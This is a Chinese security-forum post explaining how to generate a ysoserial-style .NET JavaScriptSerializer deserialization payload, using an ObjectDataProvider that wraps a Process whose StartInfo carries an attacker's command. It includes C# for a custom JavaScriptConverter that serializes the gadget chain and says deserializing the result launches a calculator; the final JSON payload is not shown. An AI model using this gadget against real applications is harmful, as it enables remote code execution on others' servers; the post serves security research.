安全矩阵

 找回密码
 立即注册
搜索
查看: 951|回复: 0

.NET 序列化生成 JavaScriptSerializer Poc

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-9-1 17:24:15 | 显示全部楼层 |阅读模式
0x01 现状
dot.NET安全矩阵星球群有位师傅问起如何才能生成和ysoserial一样的JavaScriptSerializer序列化poc,同Json.NET一样序列化使用了ObjectDataProvider类,ObjectInstance属性绑定实例化的Process对象,这里没有使用MethodParameters属性传递参数,而是使用ProcessStartInfo类FileName和Arguments属性承载外部传入的命令,知道了原理我们尝试序列化出Ysoserial这段攻击载荷,但实践时总抛出异常 System.Reflection.RuntimeModule的对象时检测到循环引用。

解决此问题需要声明一个自定义类继承JavaScriptConverter,本身是abstract抽象类包含成员SupportedTypes,表示获取JavaScriptConverter转换器支持的类型,另外包含序列化和反序列化方法

0x02 分析
自定义声明ProcessClassConverter类重写JavaScriptConverter.Serialize方法实现在Dictionary字典中添加自定义的序列化属性。核心代码如下
public override IDictionary<string,object> Serialize(object obj, JavaScriptSerializer serializer)
       {
           if(obj.GetType() == typeof(Process)) {
                var process = (Process)obj;
                var serializedProcess = newDictionary<string, object>();
               serializedProcess["StartInfo"] = process.StartInfo;
                return serializedProcess;
           }
           else if(obj.GetType() == typeof(ObjectDataProvider))
           {
                var objectDataProvider =(ObjectDataProvider)obj;
                varserializedObjectDataProvider = new Dictionary<string, object>();
               serializedObjectDataProvider["MethodName"] =objectDataProvider.MethodName;
               serializedObjectDataProvider["ObjectInstance"] =objectDataProvider.ObjectInstance;
                returnserializedObjectDataProvider;
           }
           else
           {
                var serialized = newDictionary<string, object>();
                return serialized;
           }

       }

根据输入的对象类型进入不同的序列化条件分支,当前被序列化对象如果是Process,则会将Process.StartInfo属性序列化后存储在为字典的项,如果是ObjectDataProvider,将MethodName、ObjectInstance属性序列化为字典的两个项,目的是根据对象类型执行相应的序列化逻辑,并返回相应的序列化结果。
如愿生成和Ysoserial一模一样的Payload,解答了师傅的疑问。
通过javaScriptDeserialize.Deserialize反序列化下面改造后的JSON,成功弹出计算器


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:40 , Processed in 0.012535 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表